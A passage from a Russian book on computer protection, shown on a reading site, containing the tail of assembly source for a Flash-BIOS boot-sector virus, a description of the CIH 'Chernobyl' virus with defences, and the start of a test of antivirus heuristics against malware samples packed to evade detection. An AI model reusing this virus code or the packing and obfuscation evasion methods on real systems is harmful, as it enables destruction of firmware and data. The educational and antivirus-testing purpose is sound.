Чтение онлайн

ЖАНРЫ

Защити свой компьютер на 100% от вирусов и хакеров
Шрифт:

mov ax, 0ABBAh

int 13h

; Если вирус присутствует, то запускаем оригинальный

; обработчик прерывания INT 19h

cmp ax, 0BAABh

jne real_int19h

; Перенесем вирус из BIOS в boot-буфер

push cs

pop ds

cld

xor si, si

mov di, 7c00h

mov cx,512

rep movsb

; 3апустим вирус в boot-буфере

mov dl, 80h

jmp goto_Buffer

real_int19h:

; Произведем сброс дисковой подсистемы

xor ax, ax

int 13h

; Проинициализируем значения регистров для загрузки boot-сектора

mov cx, 1

mov dh, 0

mov ax, 0201h

mov bx, 7C00h

;

Проверим, откуда грузимся: если DL не нулевой,

; переходим к загрузке с жесткого диска

cmp dl, 0

ja hd_int19h

; Прочтем boot-сектор с дискеты. Если при чтении происходит

; ошибка, то читаем с жесткого диска

int 13h

 jc fix_hd

; Остановим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7C00h+offset flash_done], 1

; 3апустим boot-сектор, находящийся в boot-буфере

db 0EAh ; Код команды JMP FAR

dw 7c00h

dw 0 Fix_HD:

; Установим номер диска для загрузки (диск С)

mov dl, 80h

HD_int19h:

; Произведем сброс дисковой подсистемы

хог ах, ах

int 13h ;

Прочтем boot-сектор

mov ax, 0201h

int 13h

jc Boot

jmp Goto_Buffer ;

Если не удалось загрузить boot-сектор,

; вызываем прерывание INT 18h

Boot:

int 18h

int19Handler EndP

Flash_BIOS EndP

End_Virus:

; Размер области памяти, необходимый для дополнения

; размера вируса до 510 байт

DupSize equ 510-offset End_Virus

; Заполнение не занятой вирусом части сектора

db DupSize dup (0)

db 55h, 0aah

Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).

Virus.Win9x.CIH также известен как «Чернобыль». Это резидентный вирус, работающий исключительно под операционными системами Windows 95/98. Длина вируса около 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательно перепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, к тому же в настройках BIOS не должно быть установлено чтение только. После перепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все его содержимое. При этом вирус использует прямой доступ к диску, обходя тем самым стандартную антивирусную защиту от записи в загрузочные сектора.

Возможные варианты защиты (плюс такие классические варианты, как установка последней версии антивирусной программы с новыми базами):

настройка BIOS, контроль режима чтение только;

контроль критических областей с помощью специализированных утилит типа ADINF32.

Возможные варианты лечения:

удаление вируса и его записей с помощью вакцин типа "АнтиЧернобыль" и т. п.;

радикальный метод – перепрошивка BIOS/замена микросхем.

5.4. Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными

В рамках данного раздела мы попытаемся выяснить, действительно ли даже три антивируса могут дать сбой в поимке «хитрого» кода, и как с этим связано такое

качество антивирусного продукта, как эвристика. В роли испытуемых антивирусов были выбраны следующие популярные продукты:

"Антивирус Касперского";

ESET NOD32;

Vba32 ("ВирусБлокАда").

ПРИМЕЧАНИЕ

В данном тесте мы акцентируем особое внимание на антивирусном продукте Vba32. Это белорусский антивирус, включающий в себя достаточно оригинальный эвристический модуль, в основе которого стоит запатентованная технология "MalwareScopeTM".

Методология проведения теста

Напомним, что качество эвристики определяется способностью антивируса распознавать модифицированный вредоносный код. Фактически, эвристика предполагает обнаружение вируса, которого нет в базах: по специальным алгоритмам и некоторым признакам антивирус сам должен «домыслить», что проверяемый код является вирусным. Как вы уже поняли, задача не из легких.

Для наибольшей объективности теста мы возьмем максимально широкий перечень инструментов, применяемых в подобных случаях. Помимо упаковщиков, генераторов вирусов и утилит для обфускации, мы включим в наш тест самописный вирус, а также воспользуемся полиморфным образцом Virus.Win32.Zombie, который известен оригинальной технологией декриптования для обхода эвристических анализаторов.

Подобная методология, включающая комплексное тестирование, широко применяется в сертифицированных тестовых лабораториях и позволяет минимизировать возможные погрешности, сделав результат теста максимально объективным.

"Свежесть" баз всех трех антивирусов одинакова. Уровень настроек эвристики во всех трех случаях аналогичен и приравнен к средним.

Итак, пожалуй, начнем.

Тест № 1

Для проведения первого теста были использованы случайным образом отобранные из коллекции (579 штук) четыре экземпляра вредоносного кода:

TrojanDownloader.13547;

Backdoor. Win32Optix.b;

Trojan-Win32PSW.QQRob.16;

Trojan-Win32PSW.QQShou.EH.

Каждый экземпляр был пропущен через PeStubOEP (программа предназначена для защиты EXE-файлов от определения их компилятора/упаковщика). Результаты проверки следующие ("+" – распознан; "-" – не распознан). Итак (результаты на рис. 5.3).

Nod32 2.7 "+";

"Антивирус Касперского 6.0" "+";

Vba32 "+".

Рис. 5.3. TrojanDownloader.13547 был успешно найден

Nod32 2.7 "+";

"Антивирус Касперского 6.0" "+";

Vba32 "+" (рис. 5.4).

Рис. 5.4. Backdoor.Win32Optix.b – «крепкие орешки» еще впереди!

Nod32 2.7 "+";

"Антивирус Касперского 6.0" "+";

Vba32 "+" (рис. 5.5).

Рис. 5.5. Наш антивирус пока на высоте

Trojan-Win32PSW.QQShou.EH оказался крепким орешком, и Vba32 определил его, только после того как были установлены максимальные настройки:

Поделиться с друзьями: